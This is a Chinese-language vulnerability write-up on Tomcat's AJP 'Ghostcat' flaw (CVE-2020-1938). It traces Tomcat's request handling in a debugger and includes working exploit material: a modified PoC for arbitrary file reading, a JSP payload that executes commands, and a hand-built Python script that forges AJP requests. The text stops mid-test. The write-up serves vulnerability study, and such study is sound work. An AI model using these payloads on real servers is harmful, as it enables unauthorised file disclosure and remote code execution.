CVE-2020-1938
- 1.概述
- 1.1 tomcat概述
- 1.2 gostcat概述 - 漏洞概述
- 2. 漏洞成因
- 2.1 前置基础
- 2.1.1 Tomcat Connector(连接器)
- 2.1.2 Servlet(服务程序)
- 2.1.3 Tomcat内部处理请求流程
- 2.2 源码追踪分析两个利用方案的执行流程
- 2.2.1 获取利用poc
- 2.2.2 文件读取漏洞
- 关键点1:`AjpProcessor类` -> `service()` -> `prepareRequest()`
- 补充基础调试方法:
- 关键点2:`DefaultServlet类` -> `service()` -> `doGet()`
- 关键点3:`getRelativePath()`
- 关键点4:`getResource()` -> `validate()` -> `normalize()`
- 关键点5:`ServletOutputStream.write()`
- 关键点6:POC中的请求url(读取webapps下其他目录的文件)
- 2.2.3 文件包含漏洞 - RCE
- 利用示例
- 源码追踪
- 关键点1:`JspServlet类` -> `service()` -> `serviceJspFile()`
- 关键点2:`JspServletWrapper类`:`getServlet()` -> `service()`
- 3. 利用方案
- 3.1 利用poc脚本直接实现AJP协议通信
- 3.2 数据包分析,抓取流量特征编写py脚本
- 3.2.1 环境介绍
- 过程排错
- 3.2.2 数据包分析
- 3.2.3 payload编写实现攻击
- 3.2.3.1 任意文件读取
- 3.2.3.2 文件包含漏洞
- 4. 修补方案
- 5. 总结
每日坐牢环节又来了,这次周老师掏出了重磅烧脑的tomcat幽灵猫漏洞。从多个角度对其执行原理进行了深入探究。让我们深刻体会到,来自源码追踪的恶意。
阅读须知:
自备:
《IDE源码编译tomcat环境》
《非专业代码阅读选手的一车脑细胞》
1.概述
1.1 tomcat概述
Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为比较流行的Web 应用服务器。
Tomcat最初是由Sun的软件架构师詹姆斯·邓肯·戴维森开发的。后来他帮助将其变为开源项目,并由Sun贡献给Apache软件基金会。由于大部分开源项目O’Reilly都会出一本相关的书,并且将其封面设计成某个动物的素描,因此他希望将此项目以一个动物的名字命名。因为他希望这种动物能够自己照顾自己,最终,他将其命名为Tomcat(英语公猫或其他雄性猫科动物)。而O’Reilly出版的介绍Tomcat的书籍(ISBN 0-596-00318-8)的封面也被设计成了一个公猫的形象。而Tomcat的Logo兼吉祥物也被设计为一只公猫。(老虎?猫猫?)
就是一个专门兼容java作为后端语言的web中间件,后来被apache收购,现在出现大多数时候带个apache tomcat这样的头衔。但是不得不说,它出色的性能还是在众多web中间件中比较能打的。
1.2 gostcat概述 - 漏洞概述
Tomcat- AJP协议文件读取/命令执行漏洞(CVE-2020-1938 / CNVD-2020-10487)又名gostcat,幽灵猫。其影响的主要版本如下:
Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x
造成的影响是任意文件读取和远程命令执行。十分恶劣。至于它的成因,和先前我们刚看过的fas-cgi未授权访问漏洞有异曲同工之妙。AJP协议作为很多tomcat用户眼里的小透明,一直都伴随着每一次tomcat的运行。在某些版本中,更是自动打开了0.0.0.0:8009
这样的监听行为。显然,这样的监听会引发不法分子的注意。
利用AJP请求的伪造,就可以通过这8009端口实现对目标服务器的任意文件读取和远程文件包含引发的RCE。那么,到底是怎么个原理,到底有什么利用的方法。请看下面的内容。
2. 漏洞成因
在探究漏洞成因之前,有必要补充一下基础前置知识。
2.1 前置基础
2.1.1 Tomcat Connector(连接器)
首先来说一下Tomcat的Connector组件,Connector组件的主要职责就是负责接收客户端连接和客户端请求的处理加工。每个Connector会监听一个指定端口,分别负责对请求报文的解析和响应报文组装,解析过程封装Request对象,而组装过程封装Response对象。
举个例子,如果把Tomcat比作一个城堡,那么Connector组件就是城堡的城门,为进出城堡的人们提供通道。当然,可能有多个城门,每个城门代表不同的通道。而Tomcat默认配置启动,开了两个城门(通道):一个是监听8080端口的HTTP Connector,另一个是监听8009端口的AJP Connector。
Tomcat组件相关的配置文件是在conf/server.xml
,配置文件中每一个元素都对应了Tomcat的一个组件(可以在配置文件中找到如下两项,配置了两个Connector组件):
HTTP Connector很好理解,通过浏览器访问Tomcat服务器的Web应用时,使用的就是这个连接器;
AJP Connector是通过AJP协议和一个Web容器进行交互。在将Tomcat与其他HTTP服务器(一般是Apache )集成时,就需要用到这个连接器。AJP协议是采用二进制形式代替文本形式传输,相比HTTP这种纯文本的协议来说,效率和性能更高,也做了很多优化。
显然,浏览器只支持HTTP协议,并不能直接支持AJP协议。所以实际情况是,通过Apache的proxy_ajp模块进行反向代理,暴露成http协议(8009端口)给客户端访问,大致如下图所示:
当然,在不部署apache反向代理时,这里的AJP连接器还是会以8009端口开放连接。
2.1.2 Servlet(服务程序)
Servlet意为服务程序,也可简单理解为是一种用来处理网络请求的一套规范。主要作用是给上级容器(Tomcat)提供doGet()和doPost()等方法,其生命周期实例化、初始化、调用、销毁受控于Tomcat容器。
相当于底层真正在做请求处理的模块,其内部提供了doget与dopost等方法。处理上层传递过来的信息,对其不同的请求方法调用不同的函数。
Tomcat中Servlet的配置是在conf/web.xml
。Tomcat默认配置定义了两个servlet,分别为DefaultServlet
和JspServlet
:
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet>
<servlet-name>jsp</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
<init-param>
<param-name>fork</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>xpoweredBy</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>3</load-on-startup>
</servlet>
所有的请求进入tomcat,都会流经servlet。由注释可以很明显看出,如果没有匹配到任何应用指定的servlet,那么就会流到默认的servlet(即DefaultServlet
),而JspServlet
负责处理所有JSP文件的请求。这里的概念有一点点像虚拟主机,但是仅仅局限在处理流程上。匹配不到模块会找到默认模块来处理。
2.1.3 Tomcat内部处理请求流程
直接上图:
- 用户点击网页内容,请求被发送到本机端口8080,被Connector获得(Connector中的Processor用于封装Request,Adapter用于将封装好的Request交给Container)。
- Connector把该请求交给Container中的Engine来处理,并等待Engine的回应。
- Engine获得请求localhost/test/index.jsp,匹配所有的虚拟主机Host。
- Engine匹配到名为localhost的Host(即使匹配不到也把请求交给该Host处理,因为该Host被定义为该Engine的默认主机),名为localhost的Host获得请求/test/index.jsp,匹配它所拥有的所有的Context。Host匹配到路径为/test的Context(如果匹配不到就把该请求交给路径名为" "的Context去处理)。
- path="/test"的Context获得请求/index.jsp,在它的mapping table中寻找出对应的Servlet。Context匹配到URL PATTERN为*.jsp的Servlet,对应于JspServlet类(匹配不到指定Servlet的请求对应DefaultServlet类)。
- Wrapper是最底层的容器,负责管理一个Servlet。构造HttpServletRequest对象和HttpServletResponse对象,作为参数调用JspServlet的doGet()或doPost(),执行业务逻辑、数据存储等程序。
- Context把执行完之后的HttpServletResponse对象返回给Host。
- Host把HttpServletResponse对象返回给Engine。
- Engine把HttpServletResponse对象返回Connector。
- Connector把HttpServletResponse对象返回给客户Browser。
当然为了好理解,特地查询了一些单词的意思:
英文 | 中文 |
---|---|
Connector | 连接器,连接头 |
Processor | n.(计算机的)处理器(机);处理程序; |
Adapter | 适配器;改编者;接合器;适应者 |
Container | 容器;集装箱,货柜 |
Context | n.背景,环境;上下文,语境 |
mapping table | 变址表;映象表 |
Wrapper | 包装纸,包装材料;宽大长衣,浴衣; |
HttpServletResponse | 响应响应对象头概述对象 |
咳咳,这么一翻译,咱再来捋一遍这个流程:
- 客户端发送请求,请求到达8080端口,被程序交给了连接器(连接器内部的处理器负责请求的构造,完了适配器负责将其传递给容器)
- 连接器将请求发送给容器中的引擎处理,进入等待状态,等待引擎的回信
- 引擎拿到请求,进行虚拟主机HOST的匹配。(根据host头判断给哪一个虚拟主机)
- 引擎匹配到了虚拟主机位置,即使未匹配到,也会交给默认的虚拟主机进行处理。当虚拟主机获得请求后,匹配请求的所有上下文(context)。例如给localhost的请求路径为/test/index.jsp,那么host就要匹配路径为/test/的context,如果匹配不到就认为context为" "处理。从这里看这context还很像是pwd命令得到的结果,当前路径。
- path="/test"的Context获得请求/index.jsp,在它的mapping table中寻找出对应的Servlet。Context匹配到URL PATTERN为*.jsp的Servlet,对应于JspServlet类(匹配不到指定Servlet的请求对应DefaultServlet类)。
- 包装器作为最低层的组件,负责管理一个serverlet,构造出HttpServletRequest对象和HttpServletResponse对象,作为参数调用JspServlet的doGet()或doPost(),执行业务逻辑、数据存储等程序。
- context将执行完了的HttpServletResponse对象返回给Host。
- Host把HttpServletResponse对象返回给Engine。
- Engine把HttpServletResponse对象返回Connector。
- Connector把HttpServletResponse对象返回给客户Browser。
到这里,应该对整个的处理流程有所感悟,tomcat就是通过连接器,容器中的引擎、虚拟主机模块、上下文处理模块、包装器、serverlet处理。等一系列调用,完成了对一次web请求的处理。
2.2 源码追踪分析两个利用方案的执行流程
理解了上文的基础,下面开始分析漏洞。这个漏洞主要是通过AJP协议(8009端口)触发。正是由于上文所述,Ajp协议的请求在Tomcat内的处理流程与我们上文介绍的Tomcat处理HTTP请求流程类似。我们构造两个不同的请求,经过tomcat内部处理流程,一个走default servlet
(DefaultServlet),另一个走jsp servlet
(JspServlet),可导致的不同的漏洞。
文件读取漏洞走的是DefaultServlet,文件包含漏洞走的是JspServlet。
2.2.1 获取利用poc
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/blob/master/CNVD-2020-10487-Tomcat-Ajp-lfi.py
至于其原理在我们分析完毕之后,就会浮于水面。
2.2.2 文件读取漏洞
通过构造AJP协议请求,我们可以读取到 我们以读取WEB-INF/web.xml
文件为例。
POC中赋值了四个很重要的参数,先在此说明:
# 请求url
req_uri = '/asdf'
# AJP协议请求中的三个属性
javax.servlet.include.request_uri = '/'
javax.servlet.include.path_info = 'WEB-INF/web.xml'
javax.servlet.include.servlet_path = '/'
关键点1:AjpProcessor类
-> service()
-> prepareRequest()
我们要先找到接受请求的第一个类AjpProcessor类
。我们在IDE里面输入ctrl+shift+n进行搜索:AjpProcessor
找到文件,点击打开
点击小虫子,开始断点调试:
执行POC脚本,尝试进入断点:
#这里的脚本需要使用python2去运行
[root@blackstone ~]# python2 ajp.py 192.168.2.1 -p 8009 -f WEB-INF/web.xml
看到这个界面就是断点已经进入了:
添加断点位置:390、455。其实455就是prepareRequest()
(可以用游标跳转进去),用于process类准备最终要发出去的请求。该方法解析请求,将相关属性匹配到该request的属性里。
重点看这里:老师说一定要单步跟进去瞅瞅。那咱就一定要单步跟进去看一看。
让我康康,进来以后断点给到788,792查看这里的循环赋值
我们游标跳转过来后就一直刷前面的step over就可以看到循环现象:
第一个循环:
第二个循环:
第三次循环:
我们来想想,这是不是在哪里见过?没错,就是我们的POC里面对于AJP协议三条键值的修改信息。到这里就被prepareRequest()
函数依次取出,放到request对像里面去了。
这里到最后一次循环的时候可以在809处打一个断点,跟进进入 request.setAttribute(n, v );
再去查看一下request的过程:
这里的键值对放到了attributes里面,可以看的很清晰:
那么,我们的处理器processor将request封装好了之后,下一步就是要交给适配器Adapter传递给容器container来处理。
476下断点,进入getadapter()函数。
随后将请求传给CoyoteAdapter
,对request进行封装,将请求抓发给Container:
断点344
Tomcat内部处理流程跳过,通过ApplicationFilterChain
类的internalDoFilter()
方法将流程走到Servlet。搜索ApplicationFilterChain,断点231。
最后直接看Servlet中的处理,调用栈很清晰的展现了Tomcat内部处理的流程:因为这里我们的POC中请求的不是JSP文件,是一个web.xml文件。一定会交给defaultservlet处理,故搜索文件名defaultservlet,打入断点481。
这里的调用栈,完全符合先前我们在2.1.3中对于请求流程的讨论。
本关键点旨在通过断点的调试,熟悉tomcat对于请求的一般处理流程。已经打了的断点大家可以不删除,使用游标跳转,每次可以快速复习一遍这些流程。更有利于我们快速建立对函数调用的认知。
补充基础调试方法:
从左到右依次编号为1-5,下面来解释用途:
- step over:越过子函数,但子函数会执行,执行结果会返回回来
- step into:进入子函数,单步执行
- 强制进入子函数,单步执行
- step out就是但单步执行到子函数内时,用step out就可以执行完子函数余下部分,并返回到上一层函数。
- 跳转到游标位置
关键点2:DefaultServlet类
-> service()
-> doGet()
由上文介绍的Servlet
相关基础知识可知,该请求是非JSP文件请求,匹配不到指定的servlet,所以会映射到默认的servlet(default servlet
)处理。tomcat源码有个DefaultServlet
类(路径:org/apache/catalina/servlets/DefaultServlet.java
),我们断点也打到这个类,Debug看一下相关请求流程。
科普一下Servlet如何处理请求:一般请求到达servlet后先执行
service()
方法,在方法中根据请求方式决定执行doGet()
还是doPost()
方法。
484断点,查找httpservlet断点634,看是否真的进入了doget()方法:
确实是跳转到了doget方法上,调用了doget()方法。
关键点3:getRelativePath()
doGet()
方法内直接进入serveResource()
方法,我们直接看serveResource()
方法:
ctrl+f搜索到方法进行查看。
进入getRelativePath()
方法(ctrl+鼠标单击):注意461断点让这个函数在返回值处停止我们要看一看这个函数的大致执行逻辑。
经过一番分析,我们可以看到三个重要参数(下文红框处):
这三个参数的值如下所示:
static final String INCLUDE_REQUEST_URI = "javax.servlet.include.request_uri";
static final String INCLUDE_PATH_INFO = "javax.servlet.include.path_info";
static final String INCLUDE_SERVLET_PATH = "javax.servlet.include.servlet_path";
上面的几个参数如果不是很明白从那里出来的,再往下分析分析这里的变量定义情况。
这里可以看出来,在函数内部定义了pathinfo,servletpath两个字符串,接收来自request对象内部的pathinfo和serletpath两个参数。我们把源码拿过来注释一下:
protected String getRelativePath(HttpServletRequest request, boolean allowEmptyPath) {
//定义了两个局部字符变量
String servletPath;
String pathInfo;
//判断从attribute中取出来的uri是否不为空,不为空就开始拼接完整路径
if (request.getAttribute(RequestDispatcher.INCLUDE_REQUEST_URI) != null) {
//进行赋值操作,取出存在attribute中的pathifo和serletpath
pathInfo = (String) request.getAttribute(RequestDispatcher.INCLUDE_PATH_INFO);
servletPath = (String) request.getAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH);
} else {
pathInfo = request.getPathInfo();
servletPath = request.getServletPath();
}
//创建返回对象,接收完整路径
StringBuilder result = new StringBuilder();
if (servletPath.length() > 0) {
result.append(servletPath);
}
if (pathInfo != null) {
result.append(pathInfo);
}
//这是个判断函数,根据allowenpath参数决定是否允许空的url
if (result.length() == 0 && !allowEmptyPath) {
result.append('/');
}
//返回result=servletpath+pathinfo,此处即为我们的请求路径
return result.toString();
}
现在是不是恍然大悟,我们的poc里面那几个参数,都体现了用的地方。
关键点4:getResource()
-> validate()
-> normalize()
再添加一个839断点,我们好好看看请求的资源究竟是用了什么样的逻辑:
单步跟入getResource()
方法,可以看到调用了validate()
方法。
这肯定是数据合法性校验的方法,我们需要对其进行进一步跟进。注意这里的断点如果打在了vaildate内部,一定不要尝试重新调试。这个函数似乎在启动tomcat的时候被调用n多次。我们一次调试完毕,记得把断点拆了。
断点258,这里有与一个validate函数内部的可normalize()
方法进行了数据校验。单步跟入:
直接把这个模块拿出来看:
public static String normalize(String path, boolean replaceBackSlash) {
//判断路径是否为空
if (path == null) {
return null;
}
// Create a place for the normalized path
String normalized = path;
//判断是否有转义符号'\\'将其还原为'/'
if (replaceBackSlash && normalized.indexOf('\\') >= 0)
normalized = normalized.replace('\\', '/');
//判断路径是否以'/'开头,不是的话就添加一个'/'
if (!normalized.startsWith("/"))
normalized = "/" + normalized;
//结尾不是以'/'结束,对其进行修复,添加上'/'
boolean addedTrailingSlash = false;
if (normalized.endsWith("/.") || normalized.endsWith("/..")) {
normalized = normalized + "/";
addedTrailingSlash = true;
}
//以下为非法字符过滤包括'//','/./','/../'
// Resolve occurrences of "//" in the normalized path
while (true) {
int index = normalized.indexOf("//");
if (index < 0) {
break;
}
normalized = normalized.substring(0, index) + normalized.substring(index + 1);
}
// Resolve occurrences of "/./" in the normalized path
while (true) {
int index = normalized.indexOf("/./");
if (index < 0) {
break;
}
normalized = normalized.substring(0, index) + normalized.substring(index + 2);
}
// Resolve occurrences of "/../" in the normalized path
while (true) {
int index = normalized.indexOf("/../");
if (index < 0) {
break;
}
if (index == 0) {
return null; // Trying to go outside our context
}
int index2 = normalized.lastIndexOf('/', index - 1);
normalized = normalized.substring(0, index2) + normalized.substring(index + 3);
}
//
if (normalized.length() > 1 && addedTrailingSlash) {
// Remove the trailing '/' we added to that input and output are
// consistent w.r.t. to the presence of the trailing '/'.
normalized = normalized.substring(0, normalized.length() - 1);
}
// Return the normalized path that we have completed
return normalized;
}
}
返回null,回到validate()
方法,就会报**IllegalArgumentException(非法参数)**的异常并终止本次操作。所以,我们的请求路径中不能包含"/…/",也就导致了该漏洞只能读取webapps目录下的文件。
经过validate()
方法校验后,getResources()
方法随后的一系列操作就通过路径读取到了资源。
关键点5:ServletOutputStream.write()
989断点:最后通过getOutputStream()
方法获得ServletOutputStream
的实例:
1134断点:利用ServletOutputStream.write()
向输出流写入返回内容。
随后再经过Tomcat内部流程处理,经过Tomcat的Container
和Connector
,最终返回给客户端。
关键点6:POC中的请求url(读取webapps下其他目录的文件)
前文提到POC中还有个关键参数req_uri
,这个参数的设置决定了我们可以读取webapps下其他目录的文件。设置其值为一个随意字符串’asdf’,一来是无法匹配到webapps下的路径,走tomcat默认的ROOT目录;二来是为了让tomcat将请求流到DefaultServlet
,从而触发漏洞。当请求读取WEB-INF/web.xml
文件,则读取的就是webapps/ROOT/WEB-INF/
目录下的web.xml。
当读取webapps/manager
目录下的文件,只需修改POC中req_uri
参数为’manager/asdf’,读取WEB-INF/web.xml
文件则是读取webapps/manager/WEB-INF/
目录下的web.xml
。
示例:我们修改poc尝试获取webapps目录下的去其他文件
#1.修改poc内容
[root@blackstone ~]# python2 ajp.py 192.168.2.1 -p 8009 -d docs -f aio.xml
#2.测试效果
这里,我的测试环境可以读取部分文件并不是全部。但是现象还是很明显。
略微修改后的poc:
#仅仅添加了一个-d参数,方便使用参数一些
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
#添加接收参数-d后面跟一级目录的名字。
parser.add_argument("-d", '--document', type=str, default='', help="document under the webapps,default is root. exp: manager")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
res_uri = '/' + args.document + '/asdf'
_,data = t.perform_request(res_uri,attributes=[
{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
])
print('----------------------------')
print("".join([d.data for d in data]))
2.2.3 文件包含漏洞 - RCE
利用示例
请求经过AjpProcessor
类的处理,随后将请求转发给了JspServlet
(该原理上文也有介绍,POC中的请求url是.jsp文件,而JspServlet
负责处理所有JSP文件的请求)。
首先我们需要在webapps/docs
目录下新建文件test.txt内容为(编译环境不同,可能需要更换路径才能执行,部分路径出现403权限拒绝):
<%Runtime.getRuntime().exec("calc.exe");%>
修改POC进行调试。POC中的四个关键参数,也先在此说明:
#请求url,这个参数一定要是以“.jsp”结尾
req_uri = '/manager/ddd.jsp'
# AJP协议请求中的三个属性
javax.servlet.include.request_uri = '/'
javax.servlet.include.path_info = 'test.txt'
javax.servlet.include.servlet_path = '/'
执行poc
[root@blackstone ~]# python2 ajpindlude.py 192.168.2.1 -d doc -f test.jsp
主机弹出了计算器,说明确实java代码在未授权的状态下被执行了起来。
源码追踪
关键点1:JspServlet类
-> service()
-> serviceJspFile()
断点打到JspServlet
类的service()
方法,先将servlet_path和path_info拼接在一起,赋值给jspUri(故这个参数是可控的)。
随后进入serviceJspFile()
方法,将/test.txt带入Tomcat加载和处理jsp的流程里。具体处理流程就不描述了,这里放上原图,可以清晰的看到tomcat加载和处理jsp的流程图。
关键点2:JspServletWrapper类
:getServlet()
-> service()
最后返回到JspServletWrapper
类,获取jsp编译后生成的servlet,随后调用service()方法,请求被执行。
断点476
总结:简单理解就是我们传入的"/test.txt"被当成jsp编译执行。带入了Tomcat处理jsp的处理流程,将jsp(test.txt
)转义成Servlet源代码.java(test_txt.java
),将Servlet源代码.java编译成Servlet类.class(test_txt.class
),Servlet类执行后,响应结果至客户端。
类似于php文件包含,让服务器非法解析一些不应该解析的JSP文件,例如我们上传到文件上传目录的一些反弹shell的jsp文件。
3. 利用方案
3.1 利用poc脚本直接实现AJP协议通信
此种利用方案在上文的2.2.2与2.2.3中已经提过,不再赘述。
3.2 数据包分析,抓取流量特征编写py脚本
通过对数据包的分析和修改,获取攻击载荷。对目标漏洞发起漏洞。这个行为听着就很费人。没事,我们一起来看看这样的操作有多丧心病狂。
3.2.1 环境介绍
自备:tomcat+apache+wireshark+ubuntu环境
这里将其配置成真实项目环境内的部署架构:
#1.启动tomcat
/home/batman/workspace/apache-tomcat-8.5.85/bin/startup.sh
#2.编辑apache的AJP代理
<VirtualHost *:80>
ServerAdmin webmaster@localhost
ServerName localhost
DocumentRoot /home/batman/workspace/httpd-bin/htdocs
#LogLevel notice proxy:trace8
ErrorLog /home/batman/workspace/httpd-bin/logs/error_proxy.log
#CustomLog /home/batman/workspace/httpd-bin/logs/access.log combined
#Proxypass / "http://192.168.2.164"
#ProxyPassReverse / "http://192.168.2.164"
#ProxyVia On
#ProxyRequests Off
#ProxyPreserveHost On
Proxypass / "ajp://127.0.0.1:8009/"
ProxyPassReverse / "ajp://127.0.0.1:8009/"
#Proxypass / "http://127.0.0.1:8080/"
#ProxyPassReverse / "http://127.0.0.1:8080/"
</VirtualHost>
#注意这几个模块的加载
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule proxy_ajp_module modules/mod_proxy_ajp.so
#3.启动apache - 这里是源码编译的apache,也可以直接使用安装好的
/home/batman/workspace/httpd-bin/bin/apachectl start
#4.测试
过程排错
可以叫我坐牢小能手了,这里卡了有大概两天。
场景还原:确定tomcat的8009端口有在监听,8080端口完好且可以代理。但是代理一旦到了8009端口,访问之后无响应,等很久都没动静。有时会返回503
root@ubuntubstone:/home/batman/workspace/conf# curl 127.0.0.1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>503 Service Unavailable</title>
</head><body>
<h1>Service Unavailable</h1>
<p>The server is temporarily unable to service your
request due to maintenance downtime or capacity
problems. Please try again later.</p>
</body></html>
过了很久一直以为是我的apache配置错了,最后才想到查看apache错误日志。这里日志要在配置文件里配了才有:
[Thu Feb 16 17:39:06.402743 2023] [proxy_ajp:error] [pid 5272:tid 140102168704576] [client 192.168.2.1:7590] AH00992: ajp_read_header: ajp_ilink_receive failed
[Thu Feb 16 17:39:06.402755 2023] [proxy_ajp:error] [pid 5272:tid 140102168704576] (70007)The timeout specified has expired: [client 192.168.2.1:7590] AH00878: read response failed from 127.0.0.1:8009 (127.0.0.1)
核心问题:
jp_read_header: ajp_ilink_receive failed
查询了一圈,找到个外国友人提醒看一下后端代理程序的日志,apache的日志不会很详尽。于是我又翻找到tomcat的日志文件:
cat catalina.2023-02-16.log
这里提示的大致意思是我们tomcat的配置文件server.xml内部的一项配置发生冲突,需要将其修改为空。即:
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address = "0.0.0.0" secretRequired="" />
重新启动tomcat,就正常了。
这里的坑在于,前期就算是配置错误了,tomcat的8009端口也会随着tomcat的启停而启停。让人产生错觉,觉得tomcat一定是正常的,问题出现在apache上。还有一点就是对于错误日志的查看,这是十分重要的一项排错手段。
好了,下面我们开始继续我们的幽灵猫之旅。
3.2.2 数据包分析
上wireshar,抓取本地的localhost网卡数据包。为了更加的说明问题此次我们从宿主机上用IP地址访问目标网站。
可以看到抓取到的数据包,此时抓取的通信就是本地apache和tomcat程序之间的通信。
筛选出指定的数据包:AJP请求包
分析数据包构成,从AJP协议的格式中,看到的数据包中不难分析其基本组成结构:
1.AJP MAGIC 1234
2.AJP DATA LENGTH 01b5 ---> >>> int(0x01b5) --->437
437
3.AJP DATA ...
4.AJP END FF
#我们获取其16进制AJP头可得:
0000 12 34 01 b5 02 02 00 08 48 54 54 50 2f 31 2e 31
0010 00 00 01 2f 00 00 0b 31 39 32 2e 31 36 38 2e 32
0020 2e 31 00 ff ff 00 0d 31 39 32 2e 31 36 38 2e 32
0030 2e 31 36 34 00 00 50 00 00 07 a0 0b 00 0d 31 39
0040 32 2e 31 36 38 2e 32 2e 31 36 34 00 a0 0e 00 50
0050 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e
0060 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69
0070 6e 36 34 3b 20 78 36 34 3b 20 72 76 3a 31 30 39
0080 2e 30 29 20 47 65 63 6b 6f 2f 32 30 31 30 30 31
0090 30 31 20 46 69 72 65 66 6f 78 2f 31 30 39 2e 30
00a0 00 a0 01 00 55 74 65 78 74 2f 68 74 6d 6c 2c 61
00b0 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c
00c0 2b 78 6d 6c 2c 61 70 70 6c 69 63 61 74 69 6f 6e
00d0 2f 78 6d 6c 3b 71 3d 30 2e 39 2c 69 6d 61 67 65
00e0 2f 61 76 69 66 2c 69 6d 61 67 65 2f 77 65 62 70
00f0 2c 2a 2f 2a 3b 71 3d 30 2e 38 00 a0 04 00 3b 7a
0100 68 2d 43 4e 2c 7a 68 3b 71 3d 30 2e 38 2c 7a 68
0110 2d 54 57 3b 71 3d 30 2e 37 2c 7a 68 2d 48 4b 3b
0120 71 3d 30 2e 35 2c 65 6e 2d 55 53 3b 71 3d 30 2e
0130 33 2c 65 6e 3b 71 3d 30 2e 32 00 a0 03 00 0d 67
0140 7a 69 70 2c 20 64 65 66 6c 61 74 65 00 a0 06 00
0150 0a 6b 65 65 70 2d 61 6c 69 76 65 00 00 19 55 70
0160 67 72 61 64 65 2d 49 6e 73 65 63 75 72 65 2d 52
0170 65 71 75 65 73 74 73 00 00 01 31 00 0a 00 0f 41
0180 4a 50 5f 52 45 4d 4f 54 45 5f 50 4f 52 54 00 00
0190 04 39 30 33 30 00 0a 00 0e 41 4a 50 5f 4c 4f 43
01a0 41 4c 5f 41 44 44 52 00 00 0d 31 39 32 2e 31 36
01b0 38 2e 32 2e 31 36 34 00 ff
我们的目的就是模仿上面的方法,向这个AJP数据包里面添加
javax.servlet.include.request_uri = ‘/’
javax.servlet.include.path_info = ‘test.txt’
javax.servlet.include.servlet_path = ‘/’
这三个参数,我们分析其后两个参数的16进制组成:
#AJP_LOCAL_ADDR: 192.168.2.164
0a00 0e 414a505f4c4f43414c5f41444452 0000 0d3139322e3136382e322e31363400
#AJP_REMOTE_PORT: 9030
0a00 0f 414a505f52454d4f54455f504f5254 0000 043930333000
拿AJP_REMOTE_PORT来说,0a00
是request_header
的标志, 表示后面的数据是 request_header
。 在官方文档有写 0f
是request_header
的长度。0000
是中间的冒号,后面的则是端口9030。
下面我们要做的就是添加我们的目的属性进去:
#在
AJP_REMOTE_PORT: 59058
AJP_LOCAL_ADDR: 127.0.0.1
#后添加
javax.servlet.include.request_uri: /WEB-INF/web.xml
javax.servlet.include.path_info: web.xml
javax.servlet.include.servlet_path: /WEB-INF/
#再修改 AJP DATA LENGTH 为正确的大小即可
3.2.3 payload编写实现攻击
3.2.3.1 任意文件读取
import binascii
AJP_MAGIC = '1234'.encode()
#这里的头是去掉了1234和数据包长度的AJP_DAT部分
AJP_HEADER = b'02020008485454502f312e310000012f00000b3139322e3136382e322e3100ffff000d3139322e3136382e322e313634000050000007a00b000d3139322e3136382e322e31363400a00e00504d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3130392e3029204765636b6f2f32303130303130312046697265666f782f3130392e3000a0010055746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f617669662c696d6167652f776562702c2a2f2a3b713d302e3800a004003b7a682d434e2c7a683b713d302e382c7a682d54573b713d302e372c7a682d484b3b713d302e352c656e2d55533b713d302e332c656e3b713d302e3200a003000d677a69702c206465666c61746500a006000a6b6565702d616c697665000019557067726164652d496e7365637572652d526571756573747300000131000a000f414a505f52454d4f54455f504f525400000439303330000a000e414a505f4c4f43414c5f4144445200000d3139322e3136382e322e31363400'
def unhex(hex):
return binascii.unhexlify(hex)
def pack_attr(attr):
attr_length = hex(len(attr))[2:].encode().zfill(2)
return attr_length + binascii.hexlify(attr.encode())
attribute = {
'javax.servlet.include.request_uri': '/WEB-INF/web.xml',
'javax.servlet.include.path_info': 'web.xml',
'javax.servlet.include.servlet_path': '/WEB-INF/',
}
req_attribute = b''
for key, value in attribute.items():
key_length = hex(len(key))[2:].encode().zfill(2)
value_length = hex(len(value))[2:].encode().zfill(2)
req_attribute += b'0a00' + pack_attr(key) + b'0000' + pack_attr(value) + b'00'
AJP_DATA = AJP_HEADER + req_attribute + b'ff'
AJP_DATA_LENGTH = hex(len(binascii.unhexlify(AJP_DATA)))[2:].zfill(4)
AJP_FORWARD_REQUEST = AJP_MAGIC + AJP_DATA_LENGTH.encode() + AJP_DATA
print(AJP_FORWARD_REQUEST)
测试本地AJP头修改情况:
将其部署到kali里边进行测试:
#1.探测端口的开放
┌──(root💀kali)-[~]
